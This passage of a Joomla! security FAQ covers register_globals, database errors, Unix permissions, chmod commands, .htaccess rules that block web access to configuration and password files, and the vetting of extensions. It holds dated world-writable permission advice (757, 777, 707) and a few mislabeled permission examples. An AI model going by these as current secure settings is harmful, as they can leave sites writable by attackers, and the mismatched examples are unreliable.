# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
